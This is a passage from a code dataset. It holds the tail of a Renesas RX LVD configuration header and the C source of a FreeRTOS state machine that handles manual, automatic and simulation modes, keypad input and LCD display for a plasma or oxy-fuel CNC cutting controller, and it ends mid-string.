1.10 Added support for RX110, RX113, RX210, RX63N\n* : 18.03.2015 1.40 Added support for RX64M, 71M.\n* : 09.07.2015 1.50 Moved LVD_CFG_VDET2_VCC_CMPA2 error checking to r_lvd_rx.h.\n***********************************************************************************************************************/\n#ifndef LVD_CONFIG_HEADER_FILE\n#define LVD_CONFIG_HEADER_FILE\n\n/* Includes board and MCU related header files. */\n#include \"platform.h\"\n\n/***********************************************************************************************************************\nConfiguration Options\n***********************************************************************************************************************/\n/* SPECIFY WHETHER TO INCLUDE CODE FOR API PARAMETER CHECKING\n * Setting to BSP_CFG_PARAM_CHECKING_ENABLE utilizes the system default setting\n * Setting to 1 includes parameter checking; 0 compiles out parameter checking */\n#define LVD_CFG_PARAM_CHECKING_ENABLE\t\t(BSP_CFG_PARAM_CHECKING_ENABLE)\n\n/*\n* SET LVD INTERRUPT PRIORITY WHEN USING MASKABLE INTERRUPTS\n* This #define sets the priority level for the LVD interrupts.\n*/\n#define LVD_CFG_INTERRUPT_PRIORITY_CHANNEL_1 (3) // 1 lowest, 15 highest\n#define LVD_CFG_INTERRUPT_PRIORITY_CHANNEL_2 (3) // 1 lowest, 15 highest\n\n/* Specify when LVD stabilization should take place\n * set to 0 for stabilization after Vcc > Vdet detection\n * set to 1 for stabilization after assertion of LVD RESET\n * NOTE: LOCO must be operating for setting 1.\n * Software standby mode is possible only for setting 0.\n */\n#define LVD_CFG_STABILIZATION_CHANNEL_1 (0)\n#define LVD_CFG_STABILIZATION_CHANNEL_2 (0)\n\n/* This definition determines if LVD channel 2 Vdet2 is compared to Vcc or the voltage on the CMPA2 pin\n * Set to 0 for Vcc voltage\n * Set to 1 for CMPA2 pin input voltage\n * NOTE: CMPA2 input is only available for RX110, 111, 113, 210 and 231.\n */\n#define LVD_CFG_VDET2_VCC_CMPA2 (0)\n\n/*\n * Set this definition to 1 to enable code for the channel\n * Set this definition to 0 to disable code for the channel\n */\n#define LVD_CFG_CHANNEL_1_USED (1)\n#define LVD_CFG_CHANNEL_2_USED (1)\n\n#endif /* LVD_CONFIG_HEADER_FILE */\n\n\n" }, { "alpha_fraction": 0.5769971609115601, "alphanum_fraction": 0.5869026780128479, "avg_line_length": 21.620332717895508, "blob_id": "ca88b5353f67143dbfaf776b3c08bd6fa2b337ad", "content_id": "9cad34eee3033b03b645ff31b96868059f3e4fac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 21814, "license_type": "no_license", "max_line_length": 94, "num_lines": 964, "path": "/src/states/ut_state_move.c", "repo_name": "ustropo/MT01", "src_encoding": "ISO-8859-1", "text": "/*\n * ut_state_manual.c\n *\n * Created on: Dec 4, 2015\n * Author: Fernando\n */\n\n#include \"tinyg.h\"\t\t// #1\n#include \"hardware.h\"\n#include \"controller.h\"\n#include \"macros.h\"\n#include \"stepper.h\"\n#include \"spindle.h\"\n\n#include \"ut_context.h\"\n#include \"ut_state.h\"\n#include \"ut_state_config_var.h\"\n\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#include \"timers.h\"\n#include \"config_SwTimers.h\"\n\n#include \"keyboard.h\"\n#include \"interpreter_if.h\"\n\n#include \"lcd.h\"\n\n#include \"planner.h\"\n#include \"plasma.h\"\n#include \"eeprom.h\"\n\nextern TaskHandle_t xCncTaskHandle;\nbool sim = false;\nbool programEnd = false;\nbool lstop = false;\nextern bool simTorch;\nchar textXStr[MAX_COLUMN];\nchar textYStr[MAX_COLUMN];\nchar textZStr[MAX_COLUMN];\nuint8_t gTitle;\nextern bool intepreterRunning;\nextern uint8_t func_back;\n\n\n#define DEFAULT_AUTO_TITLE\t\t\"MODO AUTOMÁTICO\"\n#define STOP_AUTO_TITLE\t\t \"MÁQUINA PAUSADA\"\n#define DEFAULT_LINHA1_AUTO\t \"\"\n#define DEFAULT_AVISO_AUTO\t \"\"\n#define STOP_AVISO_AUTO\t \"\"\n\n#define DEFAULT_MANUAL_TITLE\t\"MODO MANUAL\"\n#define DEFAULT_LINHA1_MANUAL\t\"VELOCIDADE: \"\n#define DEFAULT_AVISO_MANUAL\t\"ENTER DISPARA/ESC VOLTA\"\n\n#define DEFAULT_DESCOLA_TITLE\t\"DESLOCANDO\"\n#define DEFAULT_LINHA1_DESLOCA\t\"\"\n#define DEFAULT_AVISO_DESLOCA\t\"ESC VOLTA\"\n\n#define DEFAULT_SIM_TITLE\t\t\"MODO SIMULAÇÃO\"\n#define STOP_SIM_TITLE\t\t \"MÁQUINA PAUSADA\"\n#define DEFAULT_LINHA1_SIM\t \"\"\n#define DEFAULT_AVISO_SIM\t \"\"\n#define STOP_AVISO_SIM\t \"\"\n\n\n#define DEFAULT_UPDATE_TIMEOUT\tportMAX_DELAY\n\nenum {\n\tMANUAL = 0,\n\tAUTO,\n\tDESLOCA,\n\tSIM\n};\n\nstatic char gStrManual[6][24] =\n{\n\tDEFAULT_MANUAL_TITLE,\n\tDEFAULT_AVISO_MANUAL,\n\t\"\",\n\t\"\"\n};\n\nstatic char gStrAuto[6][24] =\n{\n\tDEFAULT_AUTO_TITLE,\n\tDEFAULT_AVISO_AUTO,\n\t\"\",\n\t\"\",\n\t\"\"\n};\n\nstatic char gStrSim[4][28] =\n{\n\tDEFAULT_SIM_TITLE,\n\tDEFAULT_AVISO_SIM,\n\t\"\",\n\t\"\"\n};\n\nstatic char gStrDesloca[4][24] =\n{\n\tDEFAULT_DESCOLA_TITLE,\n\tDEFAULT_AVISO_DESLOCA,\n\t\"\",\n\t\"\"\n};\n\n\n\nstatic void vTimerUpdateCallback( TimerHandle_t pxTimer );\nvoid warm_stop(uint8_t flag);\nstatic bool ltorchBuffer = false;\nextern bool zinhibitor;\n\n/**\n * Update machine position\n * @param szTitle\n */\nstatic void updatePosition(uint8_t menu)\n{\n\tfloat x; float y; float z;\n\tfloat vel;\n\tchar *lStr[7] = {\"\",\"\",\"\",\"\",\"\",\"\",\"\"};\n\t/* Display is only cleared once to improve performance */\n//\tlStr[4] = \"\";\n//\tlStr[6] = \"\";\n//\tlStr[1] = \"\";\n\tswitch(menu)\n\t{\n\t\tcase MANUAL: lStr[0] = gStrManual[0];\n\t\t\t\t\tsprintf(gStrManual[2], \"VEL.: %.0f mm/min\", *velocidadeJog);\n\t\t\t\t\tlStr[2] = gStrManual[2];\n\n\t\t\t\t\t if (!ARCO_OK)\n\t\t\t\t\t\t lStr[3] = \"AOK\";\n\t\t\t\t\t else\n\t\t\t\t\t\t lStr[3] = \"\";\n\t\t\t\t\t if (MATERIAL)\n\t\t\t\t\t\t lStr[6] = \"OH\";\n\t\t\t\t\t else\n\t\t\t\t\t\t lStr[6] = \"\";\n\t\t\t\t\t if(configFlags[MODOMAQUINA] == MODO_PLASMA)\n\t\t\t\t\t {\n\t\t\t\t\t\tsprintf(gStrManual[4], \"THC SET: %.0f V\", configVarPl[PL_CONFIG_TENSAO_THC]);\n\t\t\t\t\t\tlStr[4] = gStrManual[4];\n\t\t\t\t\t\tsprintf(gStrManual[5], \"THC REAL: %.0f V\", THC_realGet());\n\t\t\t\t\t\tlStr[5] = gStrManual[5];\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\tcase AUTO: lStr[0] = gStrAuto[0];\n\t\t\t\t\t currentLine = cm_get_linenum(RUNTIME);\n \t \t \t \t \t sprintf(gStrAuto[1], \"LINHA: %d\", cm_get_linenum(RUNTIME));\n\t\t \t \t \t lStr[1] = gStrAuto[1];\n\t\t \t \t \t vel = cm_get_feed_rate(RUNTIME);\n\t\t \t \t \t if (vel == 0)\n\t\t \t \t \t {\n\t\t \t \t \t\tvel = mp_get_runtime_velocity();\n\t\t \t \t \t }\n\n\t\t\t sprintf(gStrAuto[2], \"VEL.: %.0f mm/min\", vel);\n lStr[2] = gStrAuto[2];\n\n\t\t\t\t\t\t if (arcoOkGet())\n\t\t\t\t\t\t\t lStr[3] = \"AOK\";\n\t\t\t\t\t\t else\n\t\t\t\t\t\t\t lStr[3] = \"\";\n\t\t\t\t\t if(configFlags[MODOMAQUINA] == MODO_PLASMA)\n\t\t\t\t\t {\n\t\t\t\t\t\t sprintf(gStrAuto[4], \"THC SET: %.0f V\", configVarPl[PL_CONFIG_TENSAO_THC]);\n\t\t\t\t\t\t lStr[4] = gStrAuto[4];\n\t\t\t\t\t\t if(isCuttingGet()){\n\t\t\t\t\t\t\t sprintf(gStrAuto[5], \"THC REAL: %.0f V\", THC_realGet());\n\t\t\t\t\t\t\t lStr[5] = gStrAuto[5];\n\t\t\t\t\t\t }\n\t\t\t\t\t\t else\n\t\t\t\t\t\t {\n\t\t\t\t\t\t\t lStr[5] = \"THC REAL: --- V\";\n\t\t\t\t\t\t }\n\t\t\t\t\t\t if (MATERIAL)\n\t\t\t\t\t\t\t lStr[6] = \"OH\";\n\t\t\t\t\t\t else\n\t\t\t\t\t\t\t lStr[6] = \"\";\n }\n else\n {\n \t if(isDwell){\n \t\t\t sprintf(gStrAuto[4], \"T: %.0f s\", st_get_dwell_elapsed_time());\n \t\t lStr[4] = gStrAuto[4];\n \t }\n }\n break;\n\t\tcase SIM: lStr[0] = gStrSim[0];\n\t\t \t \t \t currentLine = cm_get_linenum(RUNTIME);\n\t \t \t \t \t sprintf(gStrSim[1], \"LINHA: %d\", cm_get_linenum(RUNTIME));\n\t\t \t \t \t lStr[1] = gStrSim[1];\n\t\t \t \t \t vel = cm_get_feed_rate(ACTIVE_MODEL);\n\t\t \t \t \t if (vel == 0)\n\t\t \t \t \t {\n\t\t \t \t \t\tvel = mp_get_runtime_velocity();\n\t\t \t \t \t }\n\t\t\t sprintf(gStrSim[2], \"VEL.: %.0f mm/min\", vel);\n lStr[2] = gStrSim[2];\n break;\n\t\tcase DESLOCA: lStr[0] = gStrDesloca[0];\n\t\t\t\t\t lStr[1] = gStrDesloca[1];\n\t\t\t\t sprintf(gStrDesloca[2], \"VEL.: %.0f mm/min\", mp_get_runtime_velocity());\n\t\t\t\t\t lStr[2] = gStrDesloca[2];\n\t\t\t\t\t break;\n\t}\n\t/* TODO: get position from machine */\n\tx = mp_get_runtime_absolute_position(0);\n\ty = mp_get_runtime_absolute_position(1);\n\tz = mp_get_runtime_absolute_position(2);\n\n\tsprintf(textXStr, \"%4.2f mm\", x);\n\tsprintf(textYStr, \"%4.2f mm\", y);\n\tsprintf(textZStr, \"%4.2f mm\", z);\n\n\tif(cm.machine_state == MACHINE_PROGRAM_END && !programEnd && (menu == AUTO || menu == SIM))\n\t{\n\t\txTimerStop( swTimers[AUTO_MENU_TIMER], 0 );\n\t\tut_lcd_output_warning(\"CORTE AUTOMÁTICO\\nFINALIZADO\\nPRESSIONE ESC\\n\");\n\t\t/* Delay */\n\t//\tvTaskDelay(2000 / portTICK_PERIOD_MS);\n\t\tcurrentLine = 0;\n\t\tintepreterRunning = false;\n\t\tprogramEnd = true;\n\t}\n\telse\n\t{\n\t\tif(menu == MANUAL)\n\t\t{\n\t\t\tut_lcd_output_manual_mode(TORCH,\n\t\t\t\t\tlStr,\n\t\t\t\t\t(const char *)textXStr,\n\t\t\t\t\t(const char *)textYStr,\n\t\t\t\t\t(const char *)textZStr);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif((configFlags[MODOMAQUINA] == MODO_OXICORTE) || sim || menu == DESLOCA){\n\t\t\t\tut_lcd_output_mov_mode(TORCH,\n\t\t\t\t\t\tlStr,\n\t\t\t\t\t\t(const char *)textXStr,\n\t\t\t\t\t\t(const char *)textYStr,\n\t\t\t\t\t\t(const char *)textZStr);\n\t\t\t}\n\t\t\telse{\n\t\t\t\tut_lcd_output_plasma_mode(TORCH,\n\t\t\t\t\t\tlStr,\n\t\t\t\t\t\t(const char *)textXStr,\n\t\t\t\t\t\t(const char *)textYStr,\n\t\t\t\t\t\t(const char *)textZStr);\n\t\t\t}\n\t\t}\n\t}\n}\n\n/**\n * Put machine into manual mode state.\n *\n *\n * @param pContext Context object\n * @return Main menu state\n */\nut_state ut_state_manual_mode(ut_context* pContext)\n{\n\tstatic uint32_t keyEntry_buffer;\n\tuint32_t keyEntry;\n\trestart_stepper();\n\t/* Clear display */\n\tupdatePosition(MANUAL);\n\tgTitle = MANUAL;\n//\ttg_set_primary_source(XIO_DEV_COMMAND);\n\tiif_bind_jog();\n\tif(swTimers[AUTO_MENU_TIMER] == NULL)\n\t{\n\tswTimers[AUTO_MENU_TIMER] = xTimerCreate\n\t\t\t\t ( /* Just a text name, not used by the RTOS kernel. */\n\t\t\t\t\t \"Timer Update\",\n\t\t\t\t\t /* The timer period in ticks, must be greater than 0. */\n\t\t\t\t\t ( 200 ),\n\t\t\t\t\t /* The timers will auto-reload themselves when they\n\t\t\t\t\t expire. */\n\t\t\t\t\t pdTRUE,\n\t\t\t\t\t /* Assign each timer a unique id equal to its array\n\t\t\t\t\t index. */\n\t\t\t\t\t ( void * ) AUTO_MENU_TIMER,\n\t\t\t\t\t /* Each timer calls the same callback when it expires. */\n\t\t\t\t\t vTimerUpdateCallback\n\t\t\t\t );\n\t}\n\txTimerStart( swTimers[AUTO_MENU_TIMER], 0 );\n\tmacro_func_ptr = command_idle;\n\txTaskNotifyGive(xCncTaskHandle);\n\tintepreterRunning = true;\n\n\twhile(true)\n\t{\n\t\t/* Wait for user interaction */\n\t\tkeyEntry = 0;\n\t\txQueueReceive( qKeyboard, &keyEntry, DEFAULT_UPDATE_TIMEOUT);\n\t\tJogkeyPressed = keyEntry;\n\t\tif ((keyEntry & KEY_DOWN) == KEY_DOWN)\n\t\t{\n\t\t\tiif_func_down();\n\t\t}\n\t\tif ((keyEntry & KEY_UP) == KEY_UP)\n\t\t{\n\t\t\tiif_func_up();\n\t\t}\n\t\tif ((keyEntry & KEY_RIGHT) == KEY_RIGHT)\n\t\t{\n\t\t\tiif_func_right();\n\t\t}\n\t\tif ((keyEntry & KEY_LEFT) == KEY_LEFT)\n\t\t{\n\t\t\tiif_func_left();\n\t\t}\n\t\tif ((keyEntry & KEY_Z_UP) == KEY_Z_UP)\n\t\t{\n\t\t\tiif_func_zup();\n\t\t}\n\t\tif ((keyEntry & KEY_Z_DOWN) == KEY_Z_DOWN)\n\t\t{\n\t\t\tiif_func_zdown();\n\t\t}\n\t\tif ((keyEntry_buffer & KEY_Z_UP) == KEY_Z_UP && (keyEntry & KEY_Z_UP) != KEY_Z_UP)\n\t\t{\n\t\t\tzmove = 0;\n\t\t}\n\n\t\tif ((keyEntry_buffer & KEY_Z_DOWN) == KEY_Z_DOWN && (keyEntry & KEY_Z_DOWN) != KEY_Z_DOWN)\n\t\t{\n\t\t\tzmove = 0;\n\t\t}\n\n\n\t\tkeyEntry_buffer = keyEntry;\n\t\t/* Check which key */\n\t\tswitch (keyEntry)\n\t\t{\n\t\tcase KEY_ESC:\n\t\t\txTimerStop( swTimers[AUTO_MENU_TIMER], 0 );\n\t\t\tiif_func_esc();\n\t\t\tintepreterRunning = false;\n\t\t\treturn STATE_CONFIG_MANUAL_MODE;\n\n\t\tcase KEY_ENTER:\n\t\t\tiif_func_enter();\n\t\t\tbreak;\n\n\t\tcase KEY_RELEASED:\n\t\t\tiif_func_released();\n\t\t\tbreak;\n\n\t\tcase EMERGENCIA_SIGNAL:\n\t\t\tcm_request_feedhold();\n\t\t\tcm_request_queue_flush();\n\t\t\twhile(cm.queue_flush_requested == true)\n\t\t\t{\n\n\t\t\t}\n\t\t\txTimerStart( swTimers[AUTO_MENU_TIMER], 0 );\n\t\t\tbreak;\n\n\t\t/* TODO: operate machine - with other keys */\n\t\tdefault:\n\n\t\t\tbreak;\n\t\t}\n\t}\n\n\treturn STATE_MAIN_MENU;\n}\n\n/**\n * Put machine into automatic mode.\n *\n * @param pContext Context object.\n * @return Main menu state\n */\nut_state ut_state_auto_mode(ut_context* pContext)\n{\n\tuint32_t keyEntry;\n\tuint32_t statePrevious = 0;\n\tltorchBuffer = false;\n\tuint32_t arco = 0;\n//\tstepper_init();\n\trestart_stepper();\n\teepromReadConfig(CONFIGVAR_MAQ);\n\tif (configFlags[MODOMAQUINA] == MODO_PLASMA)\n\t\teepromReadConfig(CONFIGVAR_PL);\n\telse\n\t\teepromReadConfig(CONFIGVAR_OX);\n\tlstop = false;\n\tcm.gmx.feed_rate_override_enable = true;\n\tcm.gmx.feed_rate_override_factor = 1;\n\tfunc_back = 0;\n\tprogramEnd = false;\n\tstopDuringCut_Set(false);\n\tcm.machine_state = MACHINE_READY;\n\t/* Clear display */\n\tif(!sim){\n\t\tupdatePosition(AUTO);\n\t\tgTitle = AUTO;\n\t}\n\telse{\n\t\tupdatePosition(SIM);\n\t\tgTitle = SIM;\n\t}\n\n\tif (swTimers[AUTO_MENU_TIMER] == NULL)\n\t{\n\tswTimers[AUTO_MENU_TIMER] = xTimerCreate\n\t\t\t\t ( /* Just a text name, not used by the RTOS kernel. */\n\t\t\t\t\t \"Timer Update\",\n\t\t\t\t\t /* The timer period in ticks, must be greater than 0. */\n\t\t\t\t\t ( 200 ),\n\t\t\t\t\t /* The timers will auto-reload themselves when they\n\t\t\t\t\t expire. */\n\t\t\t\t\t pdTRUE,\n\t\t\t\t\t /* Assign each timer a unique id equal to its array\n\t\t\t\t\t index. */\n\t\t\t\t\t ( void * ) AUTO_MENU_TIMER,\n\t\t\t\t\t /* Each timer calls the same callback when it expires. */\n\t\t\t\t\t vTimerUpdateCallback\n\t\t\t\t );\n\t}\n\txTimerStart( swTimers[AUTO_MENU_TIMER], 0 );\n\ttg_set_primary_source(CNC_MEDIA);\n\txio_close(cs.primary_src);\n\tmacro_func_ptr = _command_dispatch;\n\txio_open(cs.primary_src,0,1);\n\txTaskNotifyGive(xCncTaskHandle);\n\tiif_bind_filerunning();\n\twhile(true)\n\t{\n\t\t/* Wait for user interaction */\n\t\tkeyEntry = 0;\n\t\txQueueReceive( qKeyboard, &keyEntry, DEFAULT_UPDATE_TIMEOUT);\n\n\t\t/* Check which key */\n\t\tswitch (keyEntry)\n\t\t{\n\t\tcase KEY_DOWN:\n\t\t\tiif_func_down();\n\t\t\tbreak;\n\n\t\tcase KEY_UP:\n\t\t\tiif_func_up();\n\t\t\tbreak;\n\n\t\tcase KEY_RIGHT:\n\t\t\tiif_func_right();\n\t\t\tbreak;\n\n\t\tcase KEY_LEFT:\n\t\t\tiif_func_left();\n\t\t\tbreak;\n\n\t\tcase KEY_Z_UP:\n\t\t\tiif_func_zup();\n\t\t\tbreak;\n\n\t\tcase KEY_Z_DOWN:\n\t\t\tiif_func_zdown();\n\t\t\tbreak;\n\n\t\tcase KEY_ENTER:\n\t\t\tif (statePrevious == MATERIAL_FAILED)\n\t\t\t\tbreak;\n\t\t\tif(lstop)\n\t\t\t{\n\n\t//\t\t\tif (arco == ARCO_OK_OFF || (statePrevious == EMERGENCIA_SIGNAL && ltorchBuffer == TRUE))\n\t\t\t\tif (configFlags[MODOMAQUINA] == MODO_PLASMA)\n\t\t\t\t{\n\t\t\t\t\tlstop = false;\n\t\t\t\t\tiif_bind_filerunning_stop(lstop);\n\t\t\t\t\tif(gTitle == AUTO){\n\t\t\t\t\t\tstrcpy(gStrAuto[0],DEFAULT_AUTO_TITLE);\n\t\t\t\t\t\tstrcpy(gStrAuto[1],DEFAULT_AVISO_AUTO);\n\t\t\t\t\t}else if(gTitle == SIM){\n\t\t\t\t\t\tstrcpy(gStrSim[0],DEFAULT_SIM_TITLE);\n\t\t\t\t\t\tstrcpy(gStrSim[1],DEFAULT_AVISO_SIM);\n\t\t\t\t\t}\n\t\t\t\t\tif(isDwell == true)\n\t\t\t\t\t{\n\t\t\t\t\t\tst_command_dwell(DWELL_RESTART);\n\t\t\t\t\t}\n\t\t\t\t\tif (arco == ARCO_OK_OFF || ltorchBuffer == TRUE)\n\t\t\t\t\t//if (ltorchBuffer == TRUE)\n\t\t\t\t\t{\n\t\t\t\t\t\tarco = 0;\n\t\t\t\t\t\tif(stopDuringCut_Get())\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tstopDuringCut_Set(false);\n\t\t\t\t\t\t\tif (cm.probe_state == PROBE_WAITING)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tsimTorch = false;\n\t\t\t\t\t\t\t\tmacro_func_ptr = macro_buffer;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\txMacroArcoOkSync = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tsimTorch = false;\n\t\t\t\t\t\t\tmacro_func_ptr = macro_buffer;\n\t\t\t\t\t\t\tiif_func_enter();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tTORCH = ltorchBuffer;\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\tiif_func_enter();\n\t\t\t\t\t\tTORCH = ltorchBuffer;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse /* configFlags[MODOMAQUINA] == MODO_PLASMA */\n\t\t\t\t{\n\t\t\t\t\t/* se estiver simulando*/\n\t\t\t\t\tif (sim == true)\n\t\t\t\t\t{\n\t\t\t\t\t\tuint32_t *value = configsVar->value;\n\t\t\t\t\t\txTimerStop( swTimers[AUTO_MENU_TIMER], 0 );\n\t\t\t\t\t\tiif_bind_idle();\n\t\t\t\t\t\tconfigsVar->currentItem = CONFIG_AUTO_MODO_SIM_RUN;\n\t\t\t\t\t\tconfigsVar->type = UT_CONFIG_BOOL;\n\t\t\t\t\t\tconfigsVar->name = \"CONTINUAR COMO?\";\n\t\t\t\t\t\tut_state_config_var(pContext);\n\t\t\t\t\t\tiif_bind_filerunning();\n\t\t\t\t\t\txTimerStart( swTimers[AUTO_MENU_TIMER], 0 );\n\t\t\t\t\t\tif(func_back != 0xFF){\n\t\t\t\t\t\t\tlstop = false;\n\t\t\t\t\t\t\tiif_bind_filerunning_stop(lstop);\n\t\t\t\t\t\t\tif(gTitle == AUTO){\n\t\t\t\t\t\t\t\tstrcpy(gStrAuto[0],DEFAULT_AUTO_TITLE);\n\t\t\t\t\t\t\t\tstrcpy(gStrAuto[1],DEFAULT_AVISO_AUTO);\n\t\t\t\t\t\t\t}else if(gTitle == SIM){\n\t\t\t\t\t\t\t\tstrcpy(gStrSim[0],DEFAULT_SIM_TITLE);\n\t\t\t\t\t\t\t\tstrcpy(gStrSim[1],DEFAULT_AVISO_SIM);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif(isDwell == true)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tst_command_dwell(DWELL_RESTART);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tiif_func_enter();\n\t\t\t\t\t\t\tif(*value == true)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tgTitle = AUTO;\n\t\t\t\t\t\t\t\tsim = false;\n\t\t\t\t\t\t\t\tif (simTorch)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tTORCH = TRUE;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tfunc_back = 0;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif(gTitle == AUTO){\n\t\t\t\t\t\t\tstrcpy(gStrAuto[0],DEFAULT_AUTO_TITLE);\n\t\t\t\t\t\t\tstrcpy(gStrAuto[1],DEFAULT_AVISO_AUTO);\n\t\t\t\t\t\t}else if(gTitle == SIM){\n\t\t\t\t\t\t\tstrcpy(gStrSim[0],DEFAULT_SIM_TITLE);\n\t\t\t\t\t\t\tstrcpy(gStrSim[1],DEFAULT_AVISO_SIM);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif(isDwell == true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tst_command_dwell(DWELL_RESTART);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tlstop = false;\n\t\t\t\t\t\tiif_func_enter();\n\t\t\t\t\t\tTORCH = ltorchBuffer;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t//\n//\t\t\t\tif(sim && configFlags[MODOMAQUINA] == MODO_OXICORTE){\n//\t\t\t\t\tgTitle = AUTO;\n//\t\t\t\t//\tsim = false;\n//\t\t\t\t\tif (simTorch)\n//\t\t\t\t\t{\n//\t\t\t\t\t\tTORCH = TRUE;\n//\t\t\t\t\t}\n//\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif(isDwell == true)\n\t\t\t\t{\n\t\t\t\t\tst_command_dwell(DWELL_EXIT);\n\t\t\t\t}\n\t\t\t\tif(sim){\n\t\t\t\t\tgTitle = AUTO;\n\t\t\t\t\tsim = false;\n\t\t\t\t\tif (simTorch)\n\t\t\t\t\t{\n\t\t\t\t\t\tTORCH = TRUE;\n\t\t\t\t\t\tsimTorch = false;\n\t\t\t\t\t\tif(configFlags[MODOMAQUINA] == MODO_PLASMA){\n\t\t\t\t\t\t\tpl_arcook_start();\n\t\t\t\t\t\t\t/* Necessario para ligar o THC */\n\t\t\t\t\t\t\tdelay_thcStartStop(true);\n\t\t\t\t\t\t\tisCuttingSet(true);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase KEY_ESC:\n\t\t\tstatePrevious = 0;\n\t\t\tif (programEnd || lstop){\n\t\t\t\tuint32_t *value = configsVar->value;\n\t\t\t\tif(!programEnd){\n\t\t\t\t//\tcm_request_feedhold();\n\t\t\t\t\t\txTimerStop( swTimers[AUTO_MENU_TIMER], 0 );\n\t\t\t\t\t\tiif_bind_idle();\n\t\t\t\t\t\tconfigsVar->currentState = STATE_AUTO_MODE;\n\t\t\t\t\t\tconfigsVar->currentItem = CONFIG_AUTO_RODAR_PROG;\n\t\t\t\t\t\tconfigsVar->type = UT_CONFIG_BOOL;\n\t\t\t\t\t\tconfigsVar->name = \"DESEJA SAIR?\";\n\t\t\t\t\t\tut_state_config_var(pContext);\n\t\t\t\t\t\tconfigsVar->currentState = STATE_CONFIG_AUTO_MODE;\n\t\t\t\t\t\tiif_bind_filerunning();\n\t\t\t\t}\n\t\t\t\tif(*value || programEnd){\n//\t\t\t\t\txTimerStop( swTimers[AUTO_MENU_TIMER], 0 );\n\t\t\t\t\tif(gTitle == AUTO){\n\t\t\t\t\t\tstrcpy(gStrAuto[0],DEFAULT_AUTO_TITLE);\n\t\t\t\t\t\tstrcpy(gStrAuto[1],DEFAULT_AVISO_AUTO);\n\t\t\t\t\t}else if(gTitle == SIM){\n\t\t\t\t\t\tstrcpy(gStrSim[0],DEFAULT_SIM_TITLE);\n\t\t\t\t\t\tstrcpy(gStrSim[1],DEFAULT_AVISO_SIM);\n\t\t\t\t\t}\n\t\t\t\t\tcm_request_feedhold();\n\t\t\t\t\tcm_request_queue_flush();\n\t\t\t\t\txio_close(cs.primary_src);\n\t\t\t\t\tif(isDwell == true)\n\t\t\t\t\t{\n//\t\t\t\t\t\tst_command_dwell(DWELL_EXIT);\n//\t\t\t\t\t\tst_command_dwell(DWELL_RESTART);\n\t\t\t\t\t\tst_command_dwell(DWELL_ZERO);\n\t\t\t\t\t\tmr.move_state = MOVE_OFF;\n//\t\t\t\t\t\twhile(!st_runtime_isbusy());\n\t\t\t\t\t\tcm.queue_flush_requested = false;\n\t\t\t\t\t\tcm_queue_flush();\n\t\t\t\t\t\tcm.motion_state = MOTION_STOP;\n\t\t\t\t\t}\n\t\t\t\t\tstate = 0;\n\t\t\t\t\tcm.cycle_state = CYCLE_OFF;\n\t\t\t\t\tpl_arcook_stop();\n\t\t\t//\t\tisCuttingSet(false);\n\t\t\t\t\tiif_bind_idle();\n\t\t\t\t\tcm.gmx.feed_rate_override_enable = true;\n\t\t\t\t\tcm.gmx.feed_rate_override_factor = 1;\n\t\t\t\t\twhile(cm.queue_flush_requested == true && !programEnd)\n\t\t\t\t\t{\n\n\t\t\t\t\t}\n\t\t\t\t\tcm.probe_state = PROBE_FAILED;\n\t\t\t\t\tTORCH = FALSE;\n\t\t\t\t\tmacro_func_ptr = command_idle;\n\t\t\t\t\tintepreterRunning = false;\n\t\t\t\t\tsim = false;\n\t\t\t\t\tcurrentLine = 0;\n\t\t\t\t\tzinhibitor = false;\n\t\t\t\t\tif (programEnd)\n\t\t\t\t\t{\n\t\t\t\t\t\tconfigsVar->currentState = STATE_CONFIG_MANUAL_MODE;\n\t\t\t\t\t\treturn STATE_MANUAL_MODE;\n\t\t\t\t\t}\n\n\t\t\t\t\treturn STATE_CONFIG_AUTO_MODE;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\txTimerStart( swTimers[AUTO_MENU_TIMER], 0 );\n\t\t//\t\t\twarm_stop(1);\n\t\t\t\t}\n\n\t\t\t}\n\t\t\tif(!lstop){\n\t\t\t\tif(arco == ARCO_OK_FAILED)\n\t\t\t\t{\n\t\t\t\t\tarco = ARCO_OK_OFF;\n\t\t\t\t\tlstop = true;\n\t\t\t\t\txTimerStart( swTimers[AUTO_MENU_TIMER], 0 );\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif (isCuttingGet() == true)\n\t\t\t\t\t\tstopDuringCut_Set(true);\n\t\t\t\t\tlstop = true;\n\t\t\t\t\twarm_stop(0);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tbreak;\n\n\t\tcase KEY_RELEASED:\n\t\t\tiif_func_released();\n\t\t\tbreak;\n\t\t/* TODO: operate machine - with other keys */\n\t\tcase MATERIAL_FAILED:\n\t\t\tif(!arco)\n\t\t\t{\n\t\t\t\txTimerStop( swTimers[AUTO_MENU_TIMER], 0 );\n\t\t\t\tut_lcd_output_warning(\"CHECAR 